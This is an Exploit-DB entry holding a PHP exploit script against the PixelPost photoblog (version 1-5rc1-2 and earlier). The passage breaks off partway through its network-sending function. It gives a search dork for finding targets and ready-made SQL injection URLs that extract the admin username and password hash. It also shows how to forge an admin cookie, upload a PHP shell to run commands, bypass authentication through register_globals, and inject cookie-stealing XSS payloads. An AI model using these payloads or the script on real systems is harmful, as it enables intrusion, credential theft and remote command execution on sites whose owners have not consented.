Exploit-DB #1868
Description: PixelPost 1-5rc1-2 - Privilege Escalation
Type: webapps
Platform: php
Date: 2006-06-03
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Pixelpost <= 1-5rc1-2 privilege escalation exploit\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "dork: pixelpost \"RSS 2.0\" \"ATOM feed\" \"Valid xHTML / Valid CSS\"\r\n\r\n";

/*
works with:
magic_quotes_gpc=Off
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path your_ip cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to pixelpost\r\n";
echo "your ip:   your actual ip adress, we need it to build an admin cookie\r\n";
echo "           this is automatically set to your proxy ip if you use one\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -T[prefix]   specify a table prefix different from \"pixelpost_\"\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." a.b.c.d /pixelpost/ w.x.y.z cat ./../includes/pixelpost.php\r\n";
echo "php ".$argv[0]." a.b.c.d / w.x.y.z  ls -la -p81\r\n";
echo "php ".$argv[0]." a.b.c.d / none ls -la -P1.1.1.1:80\r\n";
die;
}
/* software site: http://www.pixelpost.org/

   description: "A small photoblog application that's a no-brainer to set up and
   use - this is truly for anyone wishing regularly to post their photos on  the
   web like a blog."

   -----

   i) sql injection in index.php near lines 670-680:

   ...
   if($_GET['category'] != "")
	{
		// Modified from Mark Lewin's hack for multiple categories
		$query = mysql_query("SELECT 1,t2.id,headline,image,datetime
		        	      FROM  {$pixelpost_db_prefix}catassoc as t1
				      INNER JOIN {$pixelpost_db_prefix}pixelpost t2 on t2.id = t1.image_id
				      WHERE t1.cat_id = '".$_GET['category']."'
				      AND (datetime<='$cdate')
				      ORDER BY datetime DESC");
		$lookingfor = 1;
	}
   ...

   nice code, isn't it?

   with magic_quotes_gpc = Off:
   http://[target]/[path]/index.php?x=browse&category='UNION SELECT '1','2',admin,'4','5' FROM pixelpost_config WHERE id=1/*
   http://[target]/[path]/index.php?x=browse&category='UNION SELECT '1','2',password,'4','5' FROM pixelpost_config WHERE id=1/*

   now, at screen, you have admin username & MD5 password hash and you can build
   an admin cookie:

   Cookie: pp_user=[username]; pp_password=[sha1([md5hash].[your_ip_address])];

   Admin can upload .php files in images/ folder, files are renamed but you can
   see new filename in main index page, so... you launch commands:

   http://[target]/[path]/images/[PII_REDACTED]5716_suntzu.php?cmd=cat%20./../includes/pixelpost.php

   ii) same kind of sql injection in 'archivedate' argument at lines 681-687:
   ...
   ELSE IF ($_GET['archivedate'] != "")
	{

		$where = "AND (DATE_FORMAT(datetime, '%Y-%m')='".$_GET['archivedate']."')"; //DATE_FORMAT(foo, '%Y-%m-%d')
		$query = mysql_query("SELECT 1,id,headline,image, datetime FROM ".$pixelpost_db_prefix."pixelpost WHERE (datetime<='$cdate') $where ORDER BY datetime desc");
		$lookingfor = 1;
	}
   ...
   poc:

   http://[target]/[path]/index.php?x=browse&archivedate=')%20UNION%20SELECT%20'1','2',password,'4','5'%20FROM%20pixelpost_config/*

   iii)
   in admin/ folder at the begin of every script, except for index.php, we have:

   <?php
   if(!isset($_SESSION["pixelpost_admin"]) || $cfgrow['password'] != $_SESSION["pixelpost_admin"]) {
	die ("Try another day!!");
   }
   ...

   if register_globals= On, you can easily bybass this protection, poc:

   http://[target]/]path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1

   this can be used to see some interesting configuration info about target server:

   http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info

   or to launch XSS attacks:

   http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info&admin_lang_pp_exif1=<script>alert(document.cookie)</script>
   http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info&admin_lang_pp_exif2=<script>alert(document.cookie)</script>
   http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info&admin_lang_pp_path=<script>alert(document.cookie)</script>

   iv) another xss, without to be logged in:
   http://[target]/[path]/admin/index.php?loginmessage="><script>window.open("http://retrogod.altervista.org")</script>

   									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof(